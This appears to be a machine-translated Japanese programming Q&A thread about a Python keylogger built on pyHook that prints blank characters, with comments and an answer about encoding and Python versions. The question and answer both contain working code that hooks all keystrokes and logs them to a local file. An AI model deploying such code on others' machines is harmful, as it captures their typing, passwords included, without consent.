2016-08-05 5 views
0

私はキーロガーを書きましたが、正しく印刷されていません。イベントを印刷するように指示すると、ASCIIデコードされた(print(event.Ascii))、そのキーのAscii数値が出力されます。しかし、私がprint(chr(event.Ascii))と言うと、空白の行だけが表示されます。これはなぜですか、どうすれば修正できますか?ASCIIのchr()は何も印刷しません

全コード:

import pyHook, pythoncom, sys, logging 

file_log = "log.txt" 

def OnKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG,format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10, chr(event.Ascii)) 
    print(chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 
+1

'print(chr(int(event.Ascii)))'を試してください。 –

+0

これはいくつかの進歩を追加します。私はEnterキー、スペースバー、Aキーを使ってテストしましたが、小さな箱のような小さな箱が返されました:[] – doejs

+0

'print(chr(int(str(event.Ascii))))) '。私はそれを前に示唆すべきだった。 –

答えて

0

これは私の仕事:

import pyHook 
import pythoncom 
import time 

log = open('log.txt', 'w') 
result = '' 
def OnKeyboardEvent(event): 
    global result 
    if event.Ascii != 13: 
     result += chr(event.Ascii) 
    else: 
     log.write("%s\r\n" % result) 
     log.flush() 
     result = '' 
    return True 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
try: 
    while True: 
     pythoncom.PumpWaitingMessages() 
     time.sleep(0.01) 
except KeyboardInterrupt: 
    print "Keyboard interrupt" 

それは、ログファイルにテキストの行を書きました。 Ctrl+Cによって停止できるという利点があります。なぜあなたのコードが動作していないのか分かりません。ただし、pyHookに付属のexample.pyスクリプトを試してみることもできます。

注:通常、グローバル変数の使用を避けるためにはうまくいきませんが、コードが短くなりました。

+0

これは私のために何も印刷されませんでした。 。 。私はPython 2.x用のキーロガーチュートリアルを使用していたためですが、Python 3.xを実行していますか? – doejs

+0

使用しているPython 3のバージョンは?あなたのPythonバージョンと一致するpyHookのバージョンをインストールしましたか? Python 2.7で動作させるにはpyHook 2.7版をインストールしなければなりませんでした。 –

+0

私はpython 3.5.2を使用しています。pyHook 1.5.1を持っています。 。 。 ythonの正しいバージョン3.5.2 – doejs

関連する問題